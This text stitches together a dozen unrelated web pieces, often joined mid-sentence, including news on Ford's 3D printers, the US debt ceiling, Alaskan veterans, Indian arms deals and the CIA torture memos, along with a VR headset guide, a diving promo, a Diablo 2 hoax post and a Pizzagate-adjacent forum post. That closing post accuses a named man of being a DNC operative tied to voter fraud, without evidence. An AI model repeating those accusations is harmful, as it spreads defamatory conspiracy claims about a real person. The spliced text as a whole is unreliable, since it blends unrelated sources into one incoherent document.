“For a guy who came from nowhere, it ballooned from there, and here we are,” Andy said. He paused. He smiled, again. He sounded like he was summarizing. “How’s that?”Ford (s f) has caught the DIY revolution and now puts 3D printers at workstations for its engineers. Furthermore, the car company plans to put the smaller Makerbot replicators at every engineer’s desk in the coming months. Ford pitches this as its commitment to engineering, but I see it as the future of distribution if the desktop replicator technology follows the path taken before it by the minicomputer and then PC.
Here’s the Ford video showing an employee talking about using 3D printers for prototype designs of a gearshift.
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A Ford spokesman told me that while it’s tough to give an exact count on the number of employees who have the 3-D printers, the company has multiple locations at the company’s Dearborn, Mich. headquarters where hundreds of engineers have access. And at the carmaker’s Silicon Valley Lab in Palo Alto all employees have Makerbots. The most popular areas they are in use today at Ford are in the Vehicle Design and Infotronics group.
3D printing will change the distribution chain for manufactured goods
As devotees of the computer and broadband revolution may recall, both of these technologies were first deployed in the workplace and then trickled down into users’ homes. Remember the concept of Cyber Monday? That was a thing because people used to have to go into work to use their office broadband in order to buy stuff online. Now, despite the fact that 19 million Americans lack access to broadband, we still have embraced the consumer web.
The PC was a similar revolution that started with mainframes, then went to minicomputers and finally to desktops. With 3D printers I wonder if we’ll see similar adoption trends that we saw with the PC. PCs were very work-specific with software for productivity dominating, so when people purchased them they tended to do so for word processing, spreadsheets and other productivity related tasks. Those initial machines were also expensive, so you bought one because you needed it. Later, it became a hub for games and fun activities as well.
What’s killer app for 3D printing?
With 3D printers, which can cost less than $1,000, the common consumer may not see much need for one, yet. But all we need is the right killer app to intersect with the right price point and then the machines will become widespread. Some might argue that printing LEGO bricks are the killer app, but I kind of doubt it. My hunch is it may be more mundane, like someone building an open source library of common household parts that break, or a line of products whose parts could be replaced by parts created in a 3D printer. The printing technology and materials would also have to improve, although I’m certain with wider adoption this would happen.
And once we have common 3D printers in the home and office, that could signal a fundamental change in the distribution of physical goods, much like the development of the web was a fundamental change in the delivery of digital content. Instead of buying new furniture, we buy new replication materials and download the designs over the Internet. If the replication materials are recyclable, you might be able to change your home’s decor in a few weeks and consume ever more products at a lower price point.
We’re not there yet, but imagining how the widespread adoption of capable 3D printers could change the world doesn’t just stop with industrial designers or hobbyists. One day you might print out your flatware, your trash cans or even your next computer. If you think this is nuts, just ponder the line from the minicomputer to your smartphone. Or just go watch one of my favorite videos showing how quickly technology advances.Republicans and Democrats in the United States are stuck in bitter negotiations over raising the US debt above its current $14.3-trillion (10-trillion-euro) ceiling. At the moment, the two sides are simply muddling through from one day to the next. As soon as a deal seems to be within reach, it retreats to the horizon. Votes on possible solutions in the House of Representatives constantly get postponed.
If there is no deal by next Tuesday, August 2, the US may no longer be able to pay its bills - no salaries for public sector workers, no pensions, and no servicing of debts. It's a disaster that no-one can bear thinking about.
"It would certainly be political and economic suicide," says Ulrich Kater, chief economist at the German DekaBank. He believes President Barack Obama would struggle to get a second term in office in next year's election, even though polls suggest more of the electorate blame the Republicans for the impasse.
The crisis doesn't help Obama's re-election chances
Politics aside, the economic consequences of the row could be catastrophic. If the US were to be downgraded by the credit ratings agencies, the shock would go well beyond the US borders and affect the entire world financial system.
Don't panic, just worry
That's why no-one truly believes it will come to that, which explains the reserved reaction in the financial markets so far. Apparently, the international financial community still believes that the Democrats and the Republicans will put bury the hatchet in the nick of time - and simultaneously raise the debt ceiling and lower the state deficit.
But there is still perceptible anxiety on the world markets. Stock values are down in Europe, Asia and the US, and the US dollar is losing value against the yen, the renminbi, and the Swiss franc, and even against the euro, which has enough problems of its own.
Not only that, gold prices are soaring, a sure sign that investors are getting increasingly nervous about the worldwide debt crisis. On Wednesday, the price of gold reached a record high, with the troy ounce (around 31 grams) costing up to $1,650.
Export consequences for Europe
So how worried should Europe be about a US default? "I think we should be worried. The deadline is approaching," Zsolt Darvas, research fellow at the Brussels-based economics research institute Bruegel, told Deutsche Welle. "It's difficult to foresee, but if the US defaults, it would quite seriously disrupt the functioning of US financial markets."
Darvas emphasizes the potential implications for Europe. "Europe has many many ties to the US," he said. "The confidence of the dollar would vanish, and so there would be a flight from the dollar. The money can fly to a few places, including Europe, which would push up the European exchange rate."
That could seriously affect exports, particularly for Germany - Europe's biggest exporter. "If the euro goes up against the dollar, that can especially hurt European industrial production," says Darvas. "And that will certainly affect Germany."
And it's not as if Germany can simply tout its products elsewhere. "The Chinese currency is largely backed to the dollar, so if the euro appreciates against the dollar, it also appreciates against the Chinese currency," says Darvas. "And not just the Chinese currency - many, many currencies are backed to the dollar. So that means the euro will appreciate all around the world."
German exports could be a casualty of the US default
It's happening anyway
Ferdinand Fichtner, macroeconomic expert at the German Institute for Economic Research (DIW), agrees that the US debt crisis could damage Europe's export industry, but he thinks that will happen anyway, whether or not the Republicans and Democrats resolve their differences this weekend.
"First of all, I'm still optimistic that they will find a deal. Not quite as optimistic as I was four weeks ago, but still optimistic," he told Deutsche Welle. "But I don't think it will come to a new financial market crisis either way."
For one thing, Fichtner says even if the US reaches its debt ceiling, the government will still find the money, just because it has to. "It's not as if the payments will just stop - that's not really realistic," he pointed out. "A lot of the payments are automated in such a way that they will go out anyway. The computer doesn't know about the debt limit."
Wall Street thinks there is enough money for another couple of weeks
On top of that, it's not even clear when exactly the US will run out of money, should no deal be reached. On Wall Street, the assumption is that there will be enough money for at least two more weeks. "The risk of an actual insolvency is from August 15," says Ward McCarthy, chief economist at investment bank Jeffries & Co. "The debt ceiling won't be an immediate problem."
Europe has it's own problems
As for Europe, Fichtner believes the current crisis over the debt ceiling in the US is largely irrelevant compared to the wider crisis of the eurozone.
"I think what will happen - even if they don't come to a deal - is that the US will lose its reputation as a safe haven a little," he said. "And that will become a problem for Europe and especially Germany, because the value of the euro will increase."
"That's probably how it will reach us - not necessarily through an acute financial market crisis. It will be more of a long-term process," he added.
But in any case, Darvas, the Bruegel economist, is still confident that wiser heads will prevail in the Capitol. "They are clever guys across the Atlantic, and they must understand that not having a deal could have a disastrous impact in the world."
Author: Bettina Seidel, Ben Knight
Editor: Gerhard SchneibelSearching For Veterans On Alaska's Remote Edges
Hide caption Daniel K. Omedelena, 71, served in the U.S. Army in Vietnam from 1968-69. A disproportionate number of veterans live in rural, sometimes remote parts of the country, like Wales, Alaska. As the veteran population ages, their health care needs increase, but many have not even filed claims with the Department of Veterans Affairs. Previous Next David Gilkey/NPR
Hide caption Sean C. Komonaseak, 47, served in the U.S. Army from 1984-88. He is the tribal veterans representative for Wales, Alaska. Previous Next David Gilkey/NPR
Hide caption Ralph Anungazuk, 64, served in the U.S. Navy from 1969-75. Previous Next David Gilkey/NPR
Hide caption Kelly Anungazuk, 61, served in the U.S. Army from 1970-73. Previous Next David Gilkey/NPR
Hide caption Isaac Oxereok, 69, served in the infantry of the U.S. Army from 1966-67. After "tunnel ratting" in Vietnam, he returned home to Wales and struggled with post-traumatic stress disorder. Previous Next David Gilkey/NPR 1 of 5 i View slideshow
When he was in Vietnam, Isaac Oxereok's small build made him ideal for tunnel-ratting: running with a pistol and a flashlight into underground passages built by the Viet Cong. In 1967 he finished his tour with the Army and returned home to Wales, Alaska. Oxereok knew he wasn't quite right, but there wasn't anyone around to tell him how to get help.
"Post-traumatic syndrome?" he said. "I went through that I guess, mostly on my own. Some wounds never really show. So inside was kind of messed up."
Enlarge this image toggle caption David Gilkey/NPR David Gilkey/NPR
Now Oxereok is 69 years old and living at the edge of the Bering Strait in a village of about 150 people. On a recent clear day, the Russian mainland peeked on the horizon over just 50 miles of broken spring ice. Oxereok snowmobiled over to the community center when he heard that someone from the Department of Veterans Affairs was visiting. He had no idea what benefits he might be owed.
"The fact that Isaac doesn't know about this? That's why we're here," said Tommy Sowers, the VA's assistant secretary for Public and Intergovernmental Affairs.
Sowers visited Alaska recently to look at what challenges rural veterans face in getting benefits, but it turns out that just finding them can be a challenge.
Twenty-two million Americans served in the military, but the vast majority are from the Vietnam and Korea generations. They're getting older now, and many live in rural, sometimes remote areas. Alaska has the highest number of veterans per capita in the country — native Alaskans and other vets who got posted up here and never left.
"Once you get Alaska in your blood, it's hard to get it out," says Ron Huffman, originally from Virginia, now living in Nome.
The Air Force sent Huffman here in 1963. Then he met a local woman and got married. He and his wife still return to her tiny village each summer, where they fish enough salmon to last through the winter. He volunteers as a tribal veterans representative — a liaison between the VA and local veterans.
Enlarge this image toggle caption David Gilkey/NPR David Gilkey/NPR
"Most of these vets, they've never applied for any type of entitlement whatsoever," Huffman said. "And a lot of them are at the age now that they're suffering with some pretty severe-type ailments. It would be very beneficial for them to try to get connected with" the VA.
But getting connected up here isn't easy. And though it would seem pretty basic, the VA has no master list of who served. That means someone has to go find them, a point demonstrated by the delegation from Washington, D.C.
"We live in a country where people get to choose where they want to live," Sowers said. "And, you know, once they raise their hand, volunteer and serve, we've got that obligation."
Sowers and other officials flew from Anchorage to Nome and then on a one-prop plane up to a snowy runway in Wales. The local veterans representative, Sean Komonaseak, met the visitors at the plane on his snowmobile, wearing a parka fringed with polar bear fur. Komonaseak allows that the town is pretty small.
"On a good day about 150 people. As far as government organizations, there's hardly any representation," he said. Komonaseak had advertised a meeting for the many veterans and their family members, including a free lunch with fresh fruit and whale meat |
one to buy. Oculus or Vive? Which is the better? I’ll try to make an updated answer on this topic.
First of all, as I always say, they’re two awesome products, so whatever you’ll buy you’ll be happy with it. Trust me, I’ve tried both and there’s not an experience that is far superior to the other.
So, don’t worry: you can’t do a wrong choice.
That said, let me illustrate you the reason why you should pick one over the other, so that you can choose by yourself.
Oculus Rift
Price
Oculus Rift is damn cheap: $399 for such a high-quality VR system is really an incredible price. Vive costs $599, that is half a Rift more. For the price of two Vive you can buy three Rifts, so the price of the Oculus is really unbeatable. The problem is that when the “Summer of Rift” promotion will end, Facebook headset will cost $499, that is only $100 less than the Vive.
To this mere price comparison we should add all considerations about what accessories to buy to have an optimal VR experience: Oculus to have proper room scale needs at least 3 sensors, so you should add $60 for a third sensor and this makes its price advantage to reduce to only $40. On the other side, Vive hasn’t integrated headphones, so if you want them you have to add $99 to your shopping basket.
Then there is to consider the price of a VR-ready PC, whose specs are almost equivalent. To my knowledge, Oculus has made a slight better work with ASW to lower the specs for a VR-ready PC, so if you use Oculus you may be able to buy a slightly cheaper PC.
Anyway, in any case, Oculus is cheaper than Vive by at least $40.
Comfort & Design
Oculus Rift is far more comfortable than Vive and has a sleeker design. Even the box where Oculus is shipped is very well crafted, I love it. The Vive Deluxe Audio Strap makes the overall appearence and comfort of Vive better, but at the price of $99.
Touch Controllers
Oculus Touch are currently the best VR controllers out there: Vive controllers are big and quite heavy, PSVR controllers are very rough, upcoming Microsoft VR headset controllers are cheap and tracked only if in sight of the user.
Touch are very well tracked in the game area and are able to emulate some fundamental hand poses, like fist, thumbs up, pointing with index. You can actually grab objects inside the VR environment, you can throw them, you can fire bullets with a good degree of hand presence. Vive controllers are good to emulate wands, instead. A game where you have to take guns and shoot at enemies like Robo Recall is cool especially thanks to the Oculus controllers.
Awesome integrated audio devices
Oculus has integrated headphones, meaning that you can just wear one device and have great visuals and sound. With Vive you have to buy separated earphones or the Deluxe Audio Strap for $99. Quality of audio is great. Not only the quality of the earphones, but also the one of the microphone: Oculus’s one is able to remove all noise and when you play social VR experiences, the other people can hear your voice very neatly. With Vive you have not the same quality, the other people may hear you breathing and some other kind of slight noises.
Better visuals (maybe)
Specifications of Rift and Vive visuals are identical, but someone says that image quality on Rift is slightly better than on the Vive. I admit I’ve never noticed this difference, but I’m reporting this to you anyway.
Play games from all the stores
If you have a Rift, you can play all games from the Oculus Store (and this includes awesome titles like Robo Recall, Dear Angelica, Echo Arena) and from SteamVR. Nowadays almost all SteamVR games are compatible with both the Rift and the Vive, so with an Oculus Rift you’re able to play all games available from all stores. If you have a Vive, instead, you can only play SteamVR games, since Oculus Store games can’t be made Vive-compatible. And considering the fact that Oculus is investing a lot in Oculus exclusives, with Vive you’ll miss some great games.
Of course the community has created a hack, called Revive, to make people with a Vive play all Oculus Store games… but this is a hack, with all problems this means: for instance at a certain moment, Oculus decided to shut down the backdoor used by Revive and for some days no Vive owner was able to play Oculus games anymore.
Interferences resistance
Oculus Rift is more resistant to IR interferences than Vive. When working with Kinects, for instance, I never had a single problem with the Rift, while I had a lot with the Vive. So if you plan to use your headset with an external IR device, the Rift is the way to go.
Palmer Luckey & John Carmack
Oculus has been the company that, thanks to Palmer Luckey, has started this new VR renaissance and that has made me fall in love with VR (at the times of DK2). The reason why in 2016 I bought a Rift and not a Vive has been this one. Then it is the company where a programming god like John Carmack works and whatever thing Carmack makes is always awesome!
HTC Vive
Best tracking technology
HTC Vive uses the best tracking solution out there. It is able to track with great accuracy a big space (up to 4m x 4m but someone has made it work even for larger spaces) just with two “cameras” (actually they’re only two light emitters). And this technology is even evolving: in the next times a new improved version able to support larger spaces at a reduced cost will be available for developers.
Oculus tracking in comparison is bad: it is precise, but tracks in a smaller volume. Furthermore, to have a full 360-tracking, you need at least a third sensor, plus an USB extension cable and start messing around with lots of cables. Its setup stresses a lot the USB controllers, because Oculus cameras are just IR cameras, so they continuously transmit to the PC all the camera stream (in comparison, Vive only tracks some points on the headset and the controllers, so consumes far less bandwith). Furthermore Oculus can track only headset and controllers, while Vive solution tracks even additional elements like Vive Trackers.
Frontal camera
Vive has a handy frontal camera, that can be used to look at the world around you and also to create some kind of AR/MR applications. Oculus has not, so these kind of apps are not possible.
Accessories
Vive has an incredible number of accessories. Some are made by HTC, some others by third parties. When someone creates an add-on for a headset, usually makes it for the Vive first, since it offers a more open ecosystem. Along these accessories we have:
The Deluxe Audio Strap, to add integrated audio to the Vive headset;
, to add integrated audio to the Vive headset; The Vive Tracker, that you can use to track additional elements inside the gaming area. For instance it can be used inside arcades to track guns or game props; or it can be used as a cheap solution to perform full body tracking. If you’re a maker, you’ll surely love the Tracker;
, that you can use to track additional elements inside the gaming area. For instance it can be used inside arcades to track guns or game props; or it can be used as a cheap solution to perform full body tracking. If you’re a maker, you’ll surely love the Tracker; TPCAST / Displaylink : two accessories that will make the Vive wireless. They require you to add some other boxes here and there in the room, but will completely free you from having a cable! (UPDATE: a Redditor has made me notice that TPCAST will support Oculus too, later on and Displaylink will too)
: two accessories that will make the Vive wireless. They require you to add some other boxes here and there in the room, but will completely free you from having a cable! (UPDATE: a Redditor has made me notice that TPCAST will support Oculus too, later on and Displaylink will too) Vive ‘n Chill : a little device able to keep your head fresh while you play inside VR.
: a little device able to keep your head fresh while you play inside VR. Tobii eye tracking : Tobii is creating an accessory that you can install inside the Vive to have eye tracking. I’ve seen a Youtuber already receiving such a set;
: Tobii is creating an accessory that you can install inside the Vive to have eye tracking. I’ve seen a Youtuber already receiving such a set; Neurable: a device able to read brainwaves and let you play just exploiting the power of your mind. It’s still a prototype, but has been showcased using a Vive.
Clear enterprise solution
If you need something for an enterprise use case, go to the Vive, for sure. It has a clear business licensing model with clear rules. Furthermore, being the system so open and so full of accessories, it is super-appealing for enterprise uses like VR arcades.
Knuckles controllers
Oculus Touch are better than Vive VR controllers, but Valve is about to release a new type of controllers: the Knuckles. Knuckles should be controllers at least equivalent to Touch, maybe even better: for instance you’ll surely be able to grab and throw away objects using completely natural gestures. I’ve not tried myself, but selected devs that have received them have reported enthusiastic feedbacks!
OpenVR
Vive runtime is open source and this is amazing, because this means not only that all the community can contribute to it, but also that you can customize it to your needs if you wish.
Everything is customizable and I’ve seen someone that has been able to transform their cup into a SteamVR controller just by adding sensors on it and configuraing some stuff! It is the right solution for makers.
Furthermore, the technology is hardware agnostic: you can buy Vive system and then use the same Lighthouse stations to work with the upcoming LG headset. Oculus can work only with Oculus, while OpenVR is a completely open platform. At the moment there’s only the HTC Vive, but more headsets are to come (like LG one). This means that you can buy Vive now and then be free to choose whatever SteamVR future headset you will like to buy.
Multiplatform support
HTC Vive works with PC, Mac and Linux. Oculus was like that only in the early days, now it is Windows only.
If you are a Mac or Linux user, Vive is the only choice for you. If you have a Mac, you can also buy an external box to make it compatible with your HTC headset.
AAA Games
The announced Fallout 4 VR and DOOM VFR will be surely available for the HTC Vive. Bethesda has said that will want to support other platforms, but who knows when this will happen.
Gabe Newell
Vive is sponsored by the lovely face of Gabe Newell, the man that takes all our money during the Steam Sales. Furthermore, while it is true that the VR renaissance has been started by Oculus, it seems that part of their tracking technology was actually developed by Valve engineers (but there are different versions on this story).
Hope to have given you a clear idea of why you should buy one or the other headset. If you want some rules of thumb:
If you’re a maker inside, go for the Vive
If you like customizations, go for the Vive
If you use Mac or Linux, go for the Vive
If you want to use VR in commercial installations, go for the Vive
If you have a big room to dedicate to VR in your house, go for the Vive
If you love comfort and design, go for the Rift
If you want the maximum number of playable games, go for the Rift
If you want to use a Kinect in the same room, go for the Rift
If you want to spend for VR the least money possible, go for the Rift and buy it NOW (before the $399 promotion ends)
If you don’t fall in any of these categories, just toss a coin and pick what comes 😀
Hope you liked this little guide. Whatever you’ll choose… welcome to virtual reality!
Disclaimer: this blog contains advertisement and affiliate links to sustain itself. If you click on an affiliate link, I'll be very happy because I'll earn a small commission on your purchase. You can find my boring full disclosure Disclaimer: this blog contains advertisement and affiliate links to sustain itself. If you click on an affiliate link, I'll be very happy because I'll earn a small commission on your purchase. You can find my boring full disclosure hereMalta Offshore diving training
Malta Diving – The Importance Of Scuba Diving Lessons
You’ve come to Malta and you’re ready to enjoy the beautiful underwater world. Scuba diving is a thrill for most people. It’s one of those things that people want to check off their bucket list when they visit Malta. Yes, it is exciting but it requires extreme caution! Whenever travelers come to Malta, we make sure that they are fully equipped with the right knowledge and training before they set out for the dive of their lifetime.
Scuba diving is a sport that is complex, adventurous and a lot of fun; most of us that enjoy this game know that it is both fun and dangerous: if you are not paying attention to the very important directions in which scuba diving should be carried out.
All scuba diving in Malta is usually done with certified instructors or if you are doing it by yourself you must be certified as well. Scuba diving can be fatal if not done the right way as you will explore deep parts of water where your life depends on reflexes and the oxygen tank that allows you a limited amount of time in the water of which you are made aware of beforehand.
Scuba diving lessons cover every single aspect of how you should dive and the precautions you need to take in order not to put your life in danger. By law you are not allowed to scuba dive without a certified instructor but through taking scuba diving lessons you can acquire this certification and then dive by yourself.
#ScubaDiving at an active volcano, say what!? Get ready to bring the heat: https://t.co/Y9cWve0LnK pic.twitter.com/IJzADmjMSx — Scuba Diving Mag (@scubadivingmag) February 17, 2017
These lessons are divided in two categories: children and adults. The children group cannot be under 10 years of age while the adult groups start from 15 years of age. A maximum age is not yet set however, it will strongly depend on the physical condition and capabilities of every individual.
Before enrolling for scuba diving lessons you will be needed to fill in a form that determines your health and physical state, this is extremely important as under the water if you have a muscle cramp, stoke or any other major attack it can be fatal. If you want to take a look at what these questions are, you can go on any scuba diving site here in Malta and ask to review the forms. This will help you prepare before you enroll in a class and save you a lot of time in case you do need to improve certain areas.
Offshore Diving Training
Atlantisgozo – Malta diving centre also offer offshore diving instructions for those who would like to start a career in diving. There’s huge demand for offshore diving and fishing, for example, the oil rigs do have a few employees working as divers with them. It’s a specialized skill that not everyone has and is in huge demand
The offshore commercial diving checklist: @H_S_E‘s Chris Sherman outlines what you need to do to dive safely https://t.co/p9gM3OorsH — Adjacent Oil & Gas (@Adjacent_OilGas) September 23, 2016
Anyone who fits the above description can attend scuba diving lessons and become a certified diver once that course is completed. Scuba diving lessons are important for your own wellbeing, do not try to dive without a certified instructor’ s supervision at any time. Once you have learnt the basics and completed the course you too will understand the importance of these initial lessons and knowledge.
Ensure you have all the required gear before plunging in the water, it will protect you and the fragile environment under the sea/ocean that you are about to explore.NEW DELHI: The 1.18-million strong Army, grappling with critical operational deficiencies on several fronts, is finally going to get some much-needed missiles, thermal imagers, weapon-locating radars and multiple-launch rocket systems (MLRS).Defence ministry sources on Friday said the Cabinet Committee on Security CCS ) has cleared four long-pending arms deals worth 6,600 crore, while two others for over 8,300 crore are on the verge of getting the final nod."Contracts for the four cleared deals will now be inked," said a source. They will include the 1,200 crore acquisition of 65,000 new-generation 84mm rockets, with greater range and better armour-penetration capabilities, for the Swedish-origin Carl Gustaf man-portable rocket launchers.The other contracts are for 4,000 hand-held thermal imagers with laser-range finders ( 1,400 crore), 5,000 Milan-2T anti-tank guided missiles ( 2,000 crore) and 30 indigenous 'Swati' weapon-locating radars ( 2,000 crore).The two projects headed for CCS nod are for two more Pinaka MLRS regiments for 3,300 crore and another regiment of BrahMos supersonic cruise missiles for over 5,000 crore.The two Pinaka regiments, which will add to the two such regiments already inducted by the Army, will help plug gaps in the force's medium-range, high-volume firepower. With a strike range of 40km, the Pinaka is manufactured by the Tatas and L&T based on technology developed by DRDO Similarly, the BrahMos land-attack missile, which flies almost three times the speed of sound at Mach 2.8 to targets 290km away, will help boost the Army's precision-strike capabilities.With the Army already having three BrahMos regiments, the government has approved deployment of the missile's Block-III version in Arunachal Pradesh to counter China's huge build-up of military infrastructure all along the 4,057-km Line of Actual Control. This missile variant has "trajectory maneuver and steep dive capabilities" for mountain warfare, as reported by TOI earlier.But the lack of third-generation anti-tank guided missiles (ATGMs), with fire-and-forget capabilities, remains a big operational gap on the western front with Pakistan. The case for inducting these shoulder-fired tank-killers has been meandering for almost a decade now.The acquisition of 'Spike' ATGMs from Israel, however, is still stuck in the commercial negotiations stage. Consequently, infantry battalions are making do with the second-generation Milan (2-km range) and Konkurs (4-km) ATGMs, which are produced by defence PSU Bharat Dynamics under licence from French and Russian companies. Being wire-guided, they have to be directed to the target.Cabinet Committee on Security (CCS) has cleared four long-pending arms deals worth 6,600 crore, while two others for over 8,300 crore are on the verge of getting the final nod.When one person was elected by the people, they do have the trust on her. When also the senator was elected, the trust was in her to promote what is the concern of the people and not anything else. But on this concern, there is an open letter that was made to call the attention of Senator Dianne Feinstein on her action and decision regarding the Surveillance Policy Crisis. The government should understand that there is already a law granting different rights for citizens.
These rights though are violated to make a favor for the government. The people should have their own security and also have their own rights to have the privacy. But now it is being on the verge of not having that. In the effect of the surveillance crisis as called, there are rights given to the government agency responsible to record data that can be considered as a private one. They could ask them also personally. It is not good when even in the place you consider yourself safe is not already.
The issue should not be taken lightly as many people are not in favor of it. The government should not spy as it is considered as unconstitutional. The step being taken should be stopped and that citizens rights should be considered. There should be the maintenance of the rights of people as it is the duty of the government to deliver this service. That is why this again serve as a reminder of it.NEW DELHI: Compared to last year’s budget, the water department has received an additional fund of just Rs 132 crore. While the government may argue that this is about Rs 600 crore more than the revised estimate, Delhi Jal Board has a mammoth task at hand, to not only provide piped water supply to each household by the end of this year but also to ensure that more and more areas get access to drinking water directly from taps.“In the revised budget, DJB’s share was slashed by some Rs 500 crore. This is definitely more than that but it remains to be seen what will happen when the current financial year’s revised budget comes through. The water utility will manage whatever work has been allocated to it within this amount, including extension of piped network to all areas. The challenge will be to ensure potable water from taps in all areas, especially since Delhi has a huge number of unauthorised colonies,” said a source.The government will continue with its scheme of giving free water to those households where consumption is 20kl or less in a month. Interestingly, even as 12.57 lakh consumers are enjoying zero water bills, DJB’s revenue has gone up by Rs 178 crore. This, said officials, was partly due to several existing consumers coming under the ambit of metered connections to avail of the free scheme. Rebates and bill waivers by the DJB have also helped in getting more consumers in its net.Having just started 24x7 supply to two south Delhi colonies, the government said it was preparing a detailed plan to include more areas under the scheme.Provision is being made to generate 20 MGD water through eco-friendly measures.Governments, tourist boards, and the travel industry spend millions of dollars each year to create a positive picture of the Caribbean and the visitor experience: a sense that all is well in a country and that a destination and a vacation will provide a happy and memorable time.
They also have a network of information services providing news and information locally and internationally.
However, recent damaging coverage about deaths and violent criminal acts against visitors in a number of Caribbean nations has not only caused the media in key tourism feeder markets to question the safety of visitors, but is now resulting in interested parties, from lawyers to victims, disseminating negative messages on social media in ways that cannot be controlled and, if inaccurate, are hard to refute.
Nassau response
For example, in the Bahamas over the last year there has been a wave of serious crime against visitors and residents alike.
It has become a national issue that is leading both the Bahamas government and the main opposition party to consider the reintroduction of capital punishment as a deterrent, and more generally much harsher sentencing of those caught and found guilty.
Reflecting local concern, particularly in relation to cruise visitors, the islands’ print, broadcast and on-line media have offered extensive coverage and commentary on the issue, and separately the US Government has recently amended it travel advisory notice.
One particularly striking piece reflecting the challenges posed by on-line commentary appeared in the Nassau Guardian.
It quoted Jim Walker, a US Attorney and a partner in the Miami firm Walker and O’Neal, as suggesting in his blog that Nassau ‘may be one gunshot away’ from seeing cruise lines drop the island from their itineraries.
The newspaper also quoted Mr Walker as suggesting that the Bahamas had not listened to the concerns of the cruise lines and that the islands may be progressing along a path similar to that which led them to withdraw from other nations in the past.
The attorney was also reported as saying that the Caribbean now had some of the most dangerous ports in the world which he named.
Far reach
To be fair, Mr Walker is also a critic of the cruise lines.
In recent months he has questioned a number of developments including the unwillingness of the cruise companies to admit to the scale of problems of on-board illness among passengers, and the way in which they deal with the disappearance overboard at sea of crew or passengers.
Mr Walker, whose views are available on his Cruise Law News blog, is just one of a number of professionals associated with the industry and new media whose opinions are widely read by travellers or those with an interest in the economics or politics of the region.
His commentaries expand on the huge success of sites like Trip Advisor which are causing visitors, quite understandably, to rely more on peer reviews, word of mouth and personal experience, to decide where they will travel to, and less on what national and industry marketing and country branding are telling them.
Whether Mr Walker’s views are or are not accurate is not the point.
What is apparent is that those countries or companies whose reputation he is questioning are for the most part either silent or have not been able to obtain equal coverage or social media followings for their view.
A Caribbean strategy
When it comes to addressing damaging comments in the mainstream media or on social networking sites, few in Caribbean governments or industry so far seem to have developed any viable social media strategy to address or respond to comments that may be damaging or incorrect.
Nor do many Caribbean politicians or business figures yet fully recognise the international power of Facebook, YouTube, or Twitter and how best to develop and use a social media persona to create and most importantly maintain a dialogue when times are easy.
Instead, the most common approach is to message for domestic consumption at the time of elections or political events, be silent at almost all other times, and not seize the opportunity to respond rapidly when things go wrong.
A short while ago, Debbie Ransome, the former head of the now sadly defunct BBC Caribbean Service, wrote in her online site Caribbean Intelligence about how the Caribbean tweets.
She found that this varied by country, and was happening in many different ways, with the predominant themes being cricket, travel, politics and community support.
What she seemed to suggest is that, despite the Caribbean’s high levels of internet and social media penetration, the use of twitter and other platforms is still in its infancy as a method of image building and reputational management.
What this implies is that apart from having a traditional media strategy to address international concerns and reputational damage when rare events occur, such as the recent murder of a British yachtsman in St Lucia, there is a need to develop pro-active social media strategies.
Acting in time
By failing to act in good time to respond publicly to events, allegations or concerns; by not finding ways to remind that similar problems regrettably occur in the US or Europe; and, in the case of tourism, noting that almost all visitors have a safe and happy experience, the greater likelihood is, in relation to social media and blogs, as well as the mainstream media, that the case made by most Caribbean nations will go unheard.
What is clear is that reputational damage and comment is certain to grow, not least in the case of tourism because almost all visitors are on-line, increasingly use social media and say so when the politics, the judicial system, personal safety, and the rule of law are not equivalent to where they reside.
Addressing this will not be easy.
What therefore may now be required is for governments and industry to determine and develop strategies that respond rapidly and honestly in real time to the inaccuracies and lack of balance that social media, blogs and on-line citizen journalism are prone to.
A robust, professionally managed response strategy may be expensive, but it is likely to be much less costly than the economic consequences of reputational damage.
David Jessop is the Director of the Caribbean Council and can be contacted at
Previous columns can be found at www.caribbean-council.org
2 February 2014WASHINGTON (CNN) -- The Bush administration told the CIA in 2002 that its interrogators working abroad would not violate U.S. prohibitions against torture unless they "have the specific intent to inflict severe pain or suffering," according to a previously secret Justice Department memo released Thursday.
Former U.S. Attorney General John Ashcroft testifies before Congress July 17 about waterboarding.
The interrogator's "good faith" and "honest belief" that the interrogation will not cause such suffering protects the interrogator, the memo adds.
"Because specific intent is an element of the offense, the absence of specific intent negates the charge of torture," Jay Bybee, then the assistant attorney general, wrote in the memo.
The 18-page memo is heavily redacted, with 10 of its 18 pages completely blacked out and only a few paragraphs legible on the others.
Another memo released Thursday advises that "the waterboard," or simulated drowning, does "not violate the Torture Statute."
It also cites a number of warnings against torture, including statements by President Bush and a then-new Supreme Court ruling "which raises possible concerns about future U.S. judicial review of the [interrogation] Program."
A third memo instructs interrogators to keep records of sessions in which "enhanced interrogation techniques" are used. The memo is signed by then-CIA director George Tenet and dated January 28, 2003.
The memos were made public by the American Civil Liberties Union, which obtained the three CIA-related documents under Freedom of Information Act requests.
"These documents supply further evidence, if any were needed, that the Justice Department authorized the CIA to torture prisoners in its custody," said Jameel Jaffer, director of the ACLU National Security Project.
The Bush administration has consistently denied that the United States tortures detainees.
Reports say the CIA waterboarded three "high-value detainees," including Khalid Sheikh Mohammed, although former Justice Department official Daniel Levin suggested in congressional testimony in June that there had been more than three instances of the practice, which critics call torture.
The third document released Thursday was blacked out except for a line saying "Unless otherwise approved by Headquarters, CIA officers (redacted) may use only Permissible Interrogation Techniques. Permissible Interrogation Techniques consist of both (a) Standard Techniques and (b) Enhanced Techniques," plus the instruction for interrogators to keep records of sessions in which enhanced interrogation techniques are used.
All About John Ashcroft • U.S. House Committee on the Judiciaryso, i heard about the "secret chicken lvl" and just laughed at the possibility knowing it was fake... or so i thought, googled a little bit and found a so called far fetched way to get into this "Secret Chicken Lvl" i was bored and decided why not... to my suprise it wtf worked... of course i got completely owned since i did it on mule sorc (hell MFer, retired)... i took screenshots along the way and decided to post on how to do it...1. make sure u have killed all the current bosses in the game, this includes andy, duriel, mephisto, diablo, baal,cow king...2. put a full set item into the cube (u can only do this w/ a few set items, as not every set is possible to fit in the cube, i did it w/ bul-kathos since it's just 2 items)3. you will then receive the sacrifice dagger and a chicken... yup, a chicken4. u will have noticed that a green tp has also spawned once u leave the cubei'll continue the rest on my next post since i can only put a max of 3 pictures per post....Yesterday, it was reported that a man walked into Comet Ping Pong with a gun a fired a shot. Later, that man claimed he was investigating "Pizzagate," even though it seems like a counter productive investigative strategy.
http://www.nytimes.com/2016/12/05/us/pizzagate-comet-ping-pong-edgar-maddison-welch.html
When Austyn Crites attempted to incite violence at a Trump Rally, in Reno, the Internet was able to confirm he was a DNC operative within minutes. Not only that, he was tied to voter fraud, owning an old, creepy looking daycare, ordering globalist literature in the Intelligence file leaks, and getting money to run "Republicans for Hillary."
